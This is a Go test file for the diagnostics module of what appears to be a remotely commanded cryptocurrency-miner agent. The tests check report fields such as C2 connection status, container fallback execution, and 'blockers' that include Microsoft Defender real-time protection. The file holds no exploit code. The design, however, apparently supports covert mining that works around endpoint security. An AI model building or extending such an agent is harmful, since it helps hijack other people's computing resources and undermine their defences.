Files
AetherForge/agent/client/mining_diagnostics_test.go

196 lines
5.4 KiB
Go

package client
import (
"encoding/json"
"strings"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
)
func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
t.Helper()
c := NewAgentClient(cfg)
c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil)
return c
}
func TestMiningDiagnosticsJSONShape(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
})
defer miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
defer miner.SetWSLDetector(nil)
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
PoolPort: 3333,
MiningMode: "always",
},
}
c := testDiagnosticsClient(t, cfg)
c.connected.Store(true)
raw := c.miningDiagnosticsJSON()
var doc map[string]interface{}
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatalf("invalid JSON: %v\n%s", err, raw)
}
for _, key := range []string{
"generated_at", "platform", "configured_execution", "execution_mode",
"container_runtime_available", "c2_connected", "mining_mode",
"pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu",
} {
if _, ok := doc[key]; !ok {
t.Fatalf("missing key %q in diagnostics JSON", key)
}
}
blockers, ok := doc["likely_blockers"].([]interface{})
if !ok {
t.Fatalf("likely_blockers type = %T", doc["likely_blockers"])
}
if len(blockers) == 0 {
t.Fatal("expected at least one likely_blocker for idle agent with no job")
}
}
func TestInferMiningBlockersRemotePause(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
c.pool.PauseRemote()
d := c.collectMiningDiagnostics()
found := false
for _, b := range d.LikelyBlockers {
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
found = true
break
}
}
if !found {
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
}
}
func TestInferMiningBlockersChainExhausted(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "fallback chain exhausted") {
found = true
}
}
if !found {
t.Fatalf("got %v", blockers)
}
}
func TestInferMiningBlockersDefenderRTP(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
rtp := true
d := MiningDiagnostics{
C2Connected: true,
Defender: &struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
}{RTP: &rtp},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "Defender real-time protection") {
found = true
}
}
if !found {
t.Fatalf("got %v", blockers)
}
}
func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{
ExecutionMode: miner.ExecutionContainer,
ContainerAvailable: false,
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "Docker/Podman not detected") {
found = true
}
}
if !found {
t.Fatalf("expected container runtime blocker, got %v", blockers)
}
}
func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
defer miner.SetWSLDetector(nil)
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
},
}
c := testDiagnosticsClient(t, cfg)
d := c.collectMiningDiagnostics()
if len(d.TierChainOrder) == 0 {
t.Fatalf("expected tier_chain_order, got %+v", d)
}
if d.TierChainOrder[0] == "" {
t.Fatalf("empty tier id in chain: %v", d.TierChainOrder)
}
raw := c.miningDiagnosticsJSON()
var doc map[string]interface{}
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatal(err)
}
for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} {
if _, ok := doc[key]; !ok {
t.Fatalf("missing key %q in diagnostics JSON", key)
}
}
}
func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},
})
d := MiningDiagnostics{
GPU: struct {
Enabled bool `json:"enabled"`
Active bool `json:"active"`
Paused bool `json:"paused"`
Model string `json:"model,omitempty"`
}{Enabled: true, Active: false, Paused: false},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "GPU mining configured but subprocess inactive") {
found = true
}
}
if !found {
t.Fatalf("expected GPU inactive blocker, got %v", blockers)
}
}